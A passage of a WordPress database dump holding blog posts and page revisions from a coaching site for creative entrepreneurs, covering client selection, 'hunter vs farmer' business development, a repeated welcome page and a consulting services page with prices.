(1791, 2, '2011-10-28 16:42:07', '2011-10-28 23:42:07', '<h1><img class="alignnone size-full wp-image-1786" title="good-fit" src="http://whc.fbdev.org/wp-content/uploads/2011/10/good-fit.jpg" alt="" width="487" height="412" />All of us want to work with great clients. But when your capacity exceeds your opportunities it’s hard to be picky. There’s only one way to work with great clients– you must pick them.</h1>\r\nIn this economy, many of my colleagues and clients are saying “any paying customer is great customer these days”. While that may be true with respect to keeping your cash flow happening right now, it’s not going to help you attract the truly great clients who are a better fit for you, and offer you more opportunities to increase your value to them and command premium fees.\r\n\r\nHow do you know which clients will represent a good fit? Have you taken the time to evaluate the criteria of what type of client will provide the opportunity for doing work that matters to you and will have a big impact on the clients business?  Do you know with confidence what attributes comprise a great client you / your company are well suited for?\r\n<h2>Before you can serve better clients, you need to know one when you see one.</h2>\r\nMore importantly, you need to know why you are a good fit to serve them in ways that matter to them enough to pay you a premium. Here’s a checklist description you can use in your business development conversations to help you define and qualify a great client you are perfect for:\r\n\r\n<em>Great Clients value expertise– specifically your expertise. Great client know you are the go-to resource for a specific solution, and they are eager to listen to your strategic advice and recommendations, and will gladly pay the higher fees your expertise commands.</em>\r\n\r\n<em> </em>\r\n\r\n<em>Great Clients always offer opportunities for you to do great work. Great clients are making a difference in the world and they believe you are just like them. They are at the forefront of their industry. They perceive your expertise to be at the forefront as well, and that your capabilities will make a difference for their business outcomes.</em>\r\n\r\n<em> </em>\r\n\r\n<em>Great Clients are respectful and appreciative of your contributions. They will express this to you and your staff regularly. They will inspire you and your staff to provide ever-greater results and solutions for their business success.</em>\r\n\r\n<em> </em>\r\n\r\n<em>Great Clients are forthcoming and honest about the amount of money they have to solve their problem because they trust you. They trust that you / your company will always bring the best solution to them for the resources they have to invest. As a result they are reluctant to put the project out to multiple bidders before consulting you first.</em>\r\n\r\n<em> </em>\r\n\r\n<em>Great Clients are loyal advocates and champions for your expertise within the client organization. They have full authority over all aspects of the engagement and remove political barriers that interfere with your ability to provide the best solutions to them.</em>\r\n\r\n<em> </em>\r\n\r\n<em>Great Clients always pay on time and in accordance to your terms. </em>\r\n\r\n<em> </em>\r\n\r\n<em>Great Clients recognize and are comfortable that you are making money in the relationship. Great Clients want you to be a profitable business partner, primarily so you can continue to provide them with your best thinking, and your business is sustainable over the long haul, giving them long-lasting value.</em>\r\n\r\nIf you want to grow your business with ever greater clients, you will need to change your business development and selling strategies accordingly. You have to resist the temptation to take on clients just to pay the overhead.\r\n\r\nIn your early stage selling conversations, you should stress that you only work for clients who are a mutual good fit. If you discover, by using the criteria above, a prospective client is not a good fit, refer them to a firm that you feel would be a good fit for them. Doing so will strengthen your position should you have a future conversation with them. And besides, it’s a classy, confident thing to do.\r\n\r\n<strong>You have to be picky if you are to attract great clients. In your business development process, it’s up to you to qualify prospects that represent the best opportunity for you to create a more profitable and enjoyable business relationships. You can do this by design rather than happenstance.</strong>', 'In pursuit of great clients who are a good fit.', 0, '', 'inherit', 'open', 'open', '', '1785-autosave', '', '', '2011-10-28 16:42:07', '2011-10-28 23:42:07', '', 1785, 'http://www.whitehotcenter.com/uncategorized/1785-autosave/', 0, 'revision', '', 0),
(1817, 2, '2011-12-04 17:21:57', '2011-12-05 00:21:57', '<img class="alignnone size-full wp-image-1818" title="hunterfarmer" src="http://whc.fbdev.org/wp-content/uploads/2011/12/hunterfarmer.jpg" alt="" width="495" height="221" />\r\n<h1>As a self-employed creative professional, particularly at the beginning of your business success, it’s wise to ponder whether you will build your future being a hunter or a farmer.</h1>\r\nFor many creative people, their talent, skill or craft is the white hot center of why they’re in business–they love doing the “work”!  That’s what drives their energy and passion for success! That said– to sustain and grow a business, other skills and capabilities need to be present as well.\r\n\r\nAs a business owner, there’s a fundamental decision you’ll need to make early in the game–will you work on your business or in it? Will you be a rugged individualist (hunt) on your own, or will you collaborate (farm) with others?\r\n\r\nThinking back on the early development in my creative business, I was convinced I had to know everything and do everything in my business. If I was going to be successful, I had to get the work, then do the work, then rinse and repeat. After all, I was a motivated self-starter out on the frontier of my new business. Early on, I valued control (hunting for today) over collaboration (farming for tomorrow).\r\n\r\nI formed the narrow and limiting belief that I was the only reason I had clients. Everyone else in my organization was there to support me. I was out in front of everything. I was working very hard in my business taking anything that came my way.\r\n\r\nLet that not be you!\r\n<h2>In your business development, it would be wise to ponder whether you will build your future being a rugged individualist working hard in your business, or as collaborator free to work on your business.</h2>\r\nYour decision has important ramifications for how you will build your business and what your future will look like.  If you’re a rugged individualist and you want to control the “creative output” of your business, then you’ll need to seek collaborators who will focus on the “input” side of the business– building new relationships, discovering new opportunity, providing more value, and developing future business with higher value clients.\r\n\r\n<strong>Will you be the farmer or the hunter?</strong>\r\nFarmers favor co-operation and collaboration, hunters favor individual control. A farming business is based on planting and harvesting. A hunting business is killing and eating.\r\n\r\nI was a hunter–very skilled at killing and survival. My horizon for survival was always immediate and in real time. I was in a constant hunt for projects and struggling to make enough money to sustain the business. As is the case with most hunters, I had more capacity than opportunity. As you can imagine, being responsible for delivering and transacting, I spent very little time in my business day planting seeds for the future.\r\n<h1>The trouble with a hunting business is when the game is scarce, hunters will eat anything.</h1>\r\nOn the other hand, farmers, use the law of cause and effect to create their bigger future. They plant and then they sow. The mindset is on multiplying and abundance. Farmers work on their business. A farming business is a more valuable financial asset than a hunting business. When you stop hunting, there is no business.\r\n\r\n<strong>The big decision hunters need to make.</strong>\r\nIf you’re the rugged individualist-hunter type, focusing your creative energies working in your business–killing and eating the current opportunity–then you might want to consider making the big decision to collaborate with a farmer type who will plant the seeds of a more sustainable and profitable future.\r\n\r\nTo be sure, a successful business requires both farming and hunting skill if you are to have a continuous supply of opportunity that will exceed your capacity. When your opportunities exceed your capacity, two strategic things will happen– you’ll be more choosy about what clients you’ll take on, and you’ll command premium pricing.\r\n\r\n<strong>From my experience it’s the farmer who experiences more creative freedom and sustained prosperity. As best you can, develop the discipline to work on your business.  Farm don’t hunt.</strong>', 'The hunter or the farmer?', 0, '', 'publish', 'open', 'open', '', 'the-hunter-or-the-farmer', '', '', '2011-12-04 17:21:57', '2011-12-05 00:21:57', '', 0, 'http://www.whitehotcenter.com/?p=1817', 0, 'post', '', 3),
(1793, 1, '2011-10-29 20:05:46', '2011-10-30 03:05:46', '', 'Contact form 1', 0, '', 'publish', 'open', 'open', '', 'contact-form-1', '', '', '2011-10-29 20:05:46', '2011-10-30 03:05:46', '', 0, 'http://www.whitehotcenter.com/wpcf7_contact_form/contact-form-1/', 0, 'wpcf7_contact_form', '', 0),
(1795, 2, '2011-11-20 10:13:33', '2011-11-20 17:13:33', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2>Welsome to the White Hot Center! Inspiration, innovation, clarity and confidence for creative entrepreneurs at the early stages of their business growth. Nothing is more exciting and rewarding than following a compelling vision for a bigger future, and turning possibilities into achievement.</h2>\r\n<h2>I write, podcast, speak and teach about the process of creating–transforming a formless idea within your mind into something valuable in the physical world.</h2>\r\nFirst off, the principles that guide the thinking and discussion here is detailed in the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto.</a> Before you browse around the site, I suggest you check that out first. From there, you’ll know if you’re in the right place or not.\r\n\r\nLife success means different things and takes many forms for each of us. Whatever metrics you use to define your personal success, if you’re like me, you’ll probably relate to this definition from Bob Dylan:\r\n\r\n<strong> “a person is a success when they get up in the morning and go to bed at night–but in between they do whatever they want to do”.</strong>\r\n\r\nIt’s my fundamental belief success in life begins with passion and a commitment to pursue any idea that burns white-hot and deep within you. If you have a burning desire, allow yourself to trust it and then get on with the business of bringing into the world. This requires you get comfortable living on the border of what''s known and unknown. Out on the edge is where you''ll find your best opportunities to create more impact, influence and income!\r\n\r\nI’m fascinated with the creative process and the discipline it requires to persevere toward realizing big ideas no matter what. And nobody connects to ideas on creativity and innovation better than entrepreneurs–a rare breed of human being whose life purpose is to create value for others. To my fellow creative entrepreneurs, serving you with ideas and inspiration is a labor of love for me!\r\n\r\nThroughout the blog, you''ll find lots of articles presenting strategies and tactics for personal growth, professional leadership, lifestyle design, value creation and methods for creating greater demand for your products and services. Oh yeah making lots of money doing what really matters to you is an important part of our conversation!\r\n\r\nMy purpose here is to share what I have learned about life success from nearly three successful decades of being a parent, entrepreneur, marketing, communications and creative consultant. I''ve served executives in global companies and start-up entrepreneurs alike. My entire professional life has been engaged in helping successsful business people innovate ideas, strategies and tactics to create a bigger future. Nothing brings me greater joy and fulfillment than sharing my knowledge, creativity and expertise to help you create the success you desire.\r\n\r\nIf you find the ideas presented here useful to your continued success, please <a href="http://whc.fbdev.org/" target="_blank">subscribe to receive the White Hot Center </a>posts and podcasts directly in your email. Your free subscription is a reward of trust. I''ll do my best to continue to earn your trust by bringing you inspirational ideas and strategies for your continued personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. And please share these ideas with your colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-11-20 10:13:33', '2011-11-20 17:13:33', '', 172, 'http://www.whitehotcenter.com/uncategorized/172-revision-131/', 0, 'revision', '', 0),
(1796, 2, '2011-11-20 10:15:04', '2011-11-20 17:15:04', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2>Welsome to the White Hot Center! Inspiration, innovation, clarity and confidence for creative entrepreneurs at the early stages of their business growth. Nothing is more exciting and rewarding than following a compelling vision for a bigger future, and turning possibilities into achievement.</h2>\r\n<h2>I write, podcast, speak and teach about the process of creating–transforming a formless idea within your mind into something valuable in the physical world.</h2>\r\nFirst off, the principles that guide the thinking and discussion here are detailed in the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto.</a> Before you browse around the site, I suggest you check that out first. From there, you’ll know if you’re in the right place or not.\r\n\r\nLife success means different things and takes many forms for each of us. Whatever metrics you use to define your personal success, if you’re like me, you’ll probably relate to this definition from Bob Dylan:\r\n\r\n<strong> “a person is a success when they get up in the morning and go to bed at night–but in between they do whatever they want to do”.</strong>\r\n\r\nIt’s my fundamental belief success in life begins with passion and a commitment to pursue any idea that burns white-hot and deep within you. If you have a burning desire, allow yourself to trust it and then get on with the business of bringing into the world. This requires you get comfortable living on the border of what''s known and unknown. Out on the edge is where you''ll find your best opportunities to create more impact, influence and income!\r\n\r\nI’m fascinated with the creative process and the discipline it requires to persevere toward realizing big ideas no matter what. And nobody connects to ideas on creativity and innovation better than entrepreneurs–a rare breed of human being whose life purpose is to create value for others. To my fellow creative entrepreneurs, serving you with ideas and inspiration is a labor of love for me!\r\n\r\nThroughout the blog, you''ll find lots of articles presenting strategies and tactics for personal growth, professional leadership, lifestyle design, value creation and methods for creating greater demand for your products and services. Oh yeah making lots of money doing what really matters to you is an important part of our conversation!\r\n\r\nMy purpose here is to share what I have learned about life success from nearly three successful decades of being a parent, entrepreneur, marketing, communications and creative consultant. I''ve served executives in global companies and start-up entrepreneurs alike. My entire professional life has been engaged in helping successsful business people innovate ideas, strategies and tactics to create a bigger future. Nothing brings me greater joy and fulfillment than sharing my knowledge, creativity and expertise to help you create the success you desire.\r\n\r\nIf you find the ideas presented here useful to your continued success, please <a href="http://whc.fbdev.org/" target="_blank">subscribe to receive the White Hot Center </a>posts and podcasts directly in your email. Your free subscription is a reward of trust. I''ll do my best to continue to earn your trust by bringing you inspirational ideas and strategies for your continued personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. And please share these ideas with your colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-11-20 10:15:04', '2011-11-20 17:15:04', '', 172, 'http://www.whitehotcenter.com/uncategorized/172-revision-132/', 0, 'revision', '', 0),
(1798, 2, '2011-11-20 10:21:46', '2011-11-20 17:21:46', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2>Inspiration, innovation, clarity and confidence for creative entrepreneurs at the early stages of their business growth. Nothing is more exciting and rewarding than following a compelling vision for a bigger future, and turning possibilities into achievement.</h2>\r\n<h2>I write, podcast, speak and teach about the process of creating bigger futures–transforming a formless idea within your mind into something highly valued in the marketplace.</h2>\r\nFirst off, the principles that guide the thinking and discussion here are detailed in the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto.</a> Before you browse around the site, check that out first. From there, you’ll know if you’re in the right place or not.\r\n\r\nLife success means different things and takes many forms for each of us. Whatever metrics you use to define your own personal success, if you’re like me, you’ll probably relate to this definition from Bob Dylan:\r\n\r\n<strong> “a person is a success when they get up in the morning and go to bed at night–but in between they do whatever they want to do”.</strong>\r\n\r\nIt’s my fundamental belief success in life begins with passion and a commitment to pursue a big idea that burns white-hot and deep within you. If you have a burning desire, allow yourself to trust it and then get on with the business of bringing into the world. This requires you get comfortable living on the border of what''s known and unknown. Out on the edge is where you''ll find your best opportunities to create more impact, influence and income!\r\n\r\nI’m fascinated with the creative process of bringing value to the world, and the discipline it requires to persevere toward realizing big ideas no matter what. And nobody connects to ideas on creativity and innovation better than entrepreneurs–a rare breed of human being whose life purpose is to create value for others. To my fellow creative entrepreneurs, serving you with ideas and inspiration is a labor of love for me!\r\n\r\nThroughout the blog, you''ll find lots of articles presenting strategies and tactics for personal growth, professional leadership, lifestyle design, value creation and methods for creating greater demand for your products and services. Oh yeah making lots of money doing what really matters to you is an important part of our conversation here!\r\n\r\nMy purpose here is to share what I have learned about life success from nearly three successful decades of being a parent, entrepreneur, marketing, communications and creative consultant. I''ve served executives in global companies and start-up entrepreneurs alike. My entire professional life has been engaged in helping successsful business people innovate ideas, strategies and tactics to create a bigger future. Nothing brings me greater joy and fulfillment than sharing my knowledge, creativity and expertise to help you create the success you desire.\r\n\r\nIf you find the ideas presented here useful to your continued success, please <a href="http://whc.fbdev.org/" target="_blank">subscribe to receive the White Hot Center </a>posts and podcasts directly in your email. Your free subscription is a reward of trust. I''ll do my best to continue to earn your trust by bringing you inspirational ideas and strategies for your continued personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. And please share these ideas with your colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-11-20 10:21:46', '2011-11-20 17:21:46', '', 172, 'http://www.whitehotcenter.com/uncategorized/172-revision-134/', 0, 'revision', '', 0);
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(1797, 2, '2011-11-20 10:20:59', '2011-11-20 17:20:59', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2>Welsome to the White Hot Center! Inspiration, innovation, clarity and confidence for creative entrepreneurs at the early stages of their business growth. Nothing is more exciting and rewarding than following a compelling vision for a bigger future, and turning possibilities into achievement.</h2>\r\n<h2>I write, podcast, speak and teach about the process of creating bigger futures–transforming a formless idea within your mind into something highly valued in the marketplace.</h2>\r\nFirst off, the principles that guide the thinking and discussion here are detailed in the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto.</a> Before you browse around the site, check that out first. From there, you’ll know if you’re in the right place or not.\r\n\r\nLife success means different things and takes many forms for each of us. Whatever metrics you use to define your own personal success, if you’re like me, you’ll probably relate to this definition from Bob Dylan:\r\n\r\n<strong> “a person is a success when they get up in the morning and go to bed at night–but in between they do whatever they want to do”.</strong>\r\n\r\nIt’s my fundamental belief success in life begins with passion and a commitment to pursue a big idea that burns white-hot and deep within you. If you have a burning desire, allow yourself to trust it and then get on with the business of bringing into the world. This requires you get comfortable living on the border of what''s known and unknown. Out on the edge is where you''ll find your best opportunities to create more impact, influence and income!\r\n\r\nI’m fascinated with the creative process of bringing value to the world, and the discipline it requires to persevere toward realizing big ideas no matter what. And nobody connects to ideas on creativity and innovation better than entrepreneurs–a rare breed of human being whose life purpose is to create value for others. To my fellow creative entrepreneurs, serving you with ideas and inspiration is a labor of love for me!\r\n\r\nThroughout the blog, you''ll find lots of articles presenting strategies and tactics for personal growth, professional leadership, lifestyle design, value creation and methods for creating greater demand for your products and services. Oh yeah making lots of money doing what really matters to you is an important part of our conversation here!\r\n\r\nMy purpose here is to share what I have learned about life success from nearly three successful decades of being a parent, entrepreneur, marketing, communications and creative consultant. I''ve served executives in global companies and start-up entrepreneurs alike. My entire professional life has been engaged in helping successsful business people innovate ideas, strategies and tactics to create a bigger future. Nothing brings me greater joy and fulfillment than sharing my knowledge, creativity and expertise to help you create the success you desire.\r\n\r\nIf you find the ideas presented here useful to your continued success, please <a href="http://whc.fbdev.org/" target="_blank">subscribe to receive the White Hot Center </a>posts and podcasts directly in your email. Your free subscription is a reward of trust. I''ll do my best to continue to earn your trust by bringing you inspirational ideas and strategies for your continued personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. And please share these ideas with your colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-11-20 10:20:59', '2011-11-20 17:20:59', '', 172, 'http://www.whitehotcenter.com/uncategorized/172-revision-133/', 0, 'revision', '', 0),
(1800, 2, '2011-11-20 10:26:44', '2011-11-20 17:26:44', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2>Inspiration, innovation, clarity and confidence for creative entrepreneurs at the early stages of their business growth. Nothing is more exciting and rewarding than following a compelling vision for a bigger future, and turning possibilities into achievement.</h2>\r\n<h2>I write, podcast, speak and teach about the process of creating bigger futures–transforming a formless idea within your mind into something highly valued in the marketplace.</h2>\r\nFirst off, the principles that guide the thinking and discussion here are detailed in the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto.</a> Before you browse around the site, check that out first. From there, you’ll know if you’re in the right place or not.\r\n\r\nLife success means different things and takes many forms for each of us. Whatever metrics you use to define your own personal success, if you’re like me, you’ll probably relate to this definition from Bob Dylan:\r\n\r\n<strong> “a person is a success when they get up in the morning and go to bed at night–but in between they do whatever they want to do”.</strong>\r\n\r\nIt’s my fundamental belief success in life begins with passion and a commitment to pursue a big idea that burns white-hot and deep within you. If you have a burning desire, allow yourself to trust it and then get on with the business of bringing into the world. This requires you get comfortable living on the border of what''s known and unknown. Out on the edge is where you''ll find your best opportunities to create more impact, influence and income!\r\n<h2>I’m fascinated with the creative process of bringing value to the world, and the discipline it requires to persevere toward realizing big ideas no matter what.</h2>\r\nAnd nobody connects to ideas on creativity and innovation better than entrepreneurs–a rare breed of human being whose life purpose is to create value for others. To my fellow creative entrepreneurs, serving you with ideas and inspiration is a labor of love for me!\r\n\r\nMy purpose here is to share what I have learned about life success from nearly three successful decades of being a parent, entrepreneur, marketing, communications and creative consultant. I''ve served executives in global companies and start-up entrepreneurs alike. My entire professional life has been engaged in helping successsful business people innovate new ideas, strategies and tactics to create a bigger future. Nothing brings me greater joy and fulfillment than sharing my knowledge, creativity and expertise to help you create the success you desire.\r\n\r\nThroughout the blog, you''ll find lots of articles presenting strategies and tactics for personal growth, professional leadership, lifestyle design, value creation and methods for creating greater demand for your products and services. Oh yeah making lots of money doing what really matters to you is an important part of our conversation here!\r\n\r\nIf you find the ideas presented here useful to your continued success, please <a href="http://whc.fbdev.org/" target="_blank">subscribe to receive the White Hot Center </a>posts and podcasts directly in your email. Your free subscription is a reward of trust. I''ll do my best to continue to earn your trust by bringing you inspirational ideas and strategies for your continued personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. And please share these ideas with your colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-11-20 10:26:44', '2011-11-20 17:26:44', '', 172, 'http://www.whitehotcenter.com/uncategorized/172-revision-136/', 0, 'revision', '', 0),
(1799, 2, '2011-11-20 10:24:13', '2011-11-20 17:24:13', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2>Inspiration, innovation, clarity and confidence for creative entrepreneurs at the early stages of their business growth. Nothing is more exciting and rewarding than following a compelling vision for a bigger future, and turning possibilities into achievement.</h2>\r\n<h2>I write, podcast, speak and teach about the process of creating bigger futures–transforming a formless idea within your mind into something highly valued in the marketplace.</h2>\r\nFirst off, the principles that guide the thinking and discussion here are detailed in the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto.</a> Before you browse around the site, check that out first. From there, you’ll know if you’re in the right place or not.\r\n\r\nLife success means different things and takes many forms for each of us. Whatever metrics you use to define your own personal success, if you’re like me, you’ll probably relate to this definition from Bob Dylan:\r\n\r\n<strong> “a person is a success when they get up in the morning and go to bed at night–but in between they do whatever they want to do”.</strong>\r\n\r\nIt’s my fundamental belief success in life begins with passion and a commitment to pursue a big idea that burns white-hot and deep within you. If you have a burning desire, allow yourself to trust it and then get on with the business of bringing into the world. This requires you get comfortable living on the border of what''s known and unknown. Out on the edge is where you''ll find your best opportunities to create more impact, influence and income!\r\n<h2>I’m fascinated with the creative process of bringing value to the world, and the discipline it requires to persevere toward realizing big ideas no matter what.</h2>\r\nAnd nobody connects to ideas on creativity and innovation better than entrepreneurs–a rare breed of human being whose life purpose is to create value for others. To my fellow creative entrepreneurs, serving you with ideas and inspiration is a labor of love for me!\r\n\r\nThroughout the blog, you''ll find lots of articles presenting strategies and tactics for personal growth, professional leadership, lifestyle design, value creation and methods for creating greater demand for your products and services. Oh yeah making lots of money doing what really matters to you is an important part of our conversation here!\r\n\r\nMy purpose here is to share what I have learned about life success from nearly three successful decades of being a parent, entrepreneur, marketing, communications and creative consultant. I''ve served executives in global companies and start-up entrepreneurs alike. My entire professional life has been engaged in helping successsful business people innovate ideas, strategies and tactics to create a bigger future. Nothing brings me greater joy and fulfillment than sharing my knowledge, creativity and expertise to help you create the success you desire.\r\n\r\nIf you find the ideas presented here useful to your continued success, please <a href="http://whc.fbdev.org/" target="_blank">subscribe to receive the White Hot Center </a>posts and podcasts directly in your email. Your free subscription is a reward of trust. I''ll do my best to continue to earn your trust by bringing you inspirational ideas and strategies for your continued personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. And please share these ideas with your colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-11-20 10:24:13', '2011-11-20 17:24:13', '', 172, 'http://www.whitehotcenter.com/uncategorized/172-revision-135/', 0, 'revision', '', 0),
(1803, 2, '2011-11-20 11:14:47', '2011-11-20 18:14:47', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;">Your thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.\r\n</span></h2>\r\n<strong>In one-on-one and in group settings, I work with early stage entrepreneurs, solo professionals and start-up businesses to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income.</strong>\r\n\r\nI offer marketing and business development expertise and advice to help you and your team focus on ideas, strategy and tactics to master the inner game (creative plane), and outer game (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life experience based solely on what truly matters to you, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through brand development marketing, communication and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>For over 25 years, I have advised senior executives in diverse global companies, emerging companies, and owners of small start-ups alike. My expertise in customer insight, creativity in brand innovation, marketing, brand strategy and communications has contributed millions of dollars in revenue growth to over 70 organizations in North America and Europe. I work with forward thinking early-stage entrepreneurs to discover and pursue, with clarity and confidence, a bigger vision of their future. Two business development consulting packages are available through the White Hot Center:\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nThis issue-based consulting program is designed for early stage entrepreneurs, solo professionals and start-up businesses who are facing business development and marketing challenges that require an immediate solution to accelerate progress in taking their business to next level. If this describes your current circumstances, my expertise provides insight, strategic and creative guidance to help you and your team overcome current business development challenges that may be holding back your progress toward achieving your stated business goals. Together, we''ll design a strategic and creative business development platform for success in four key areas:\r\n\r\n<strong>To whom you market–identifying the high value customers that represent the best opportunity for your business to grow.</strong>\r\n\r\n<strong>Why they buy– understanding the customer''s illumnitating needs, desires, motivations that drive engagement with your business products or services.\r\n</strong>\r\n\r\n<strong>What makes your business highly valued and difficult to substitute– clarity on what value your business represents to high value customers.\r\n</strong>\r\n\r\n<strong>How you compete– designing the artifacts, communications and experiences that influence high value customers to become loyal avocates of your business.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+USD\r\nThe duration of this issue-based consulting engagement is generally within a 4-6 week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nPersonal and Professional Development Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to potential and possibilities. To do that, let your burning desires guide your way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly</strong></span>\r\n<h1><span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1716" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.jpg" alt="" width="450" height="242" /></strong></span><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1></h1>\r\n<h2><span style="color: #ff6600;"> Send me email: <a href="mailto:thomson@whitehotcenter.com" 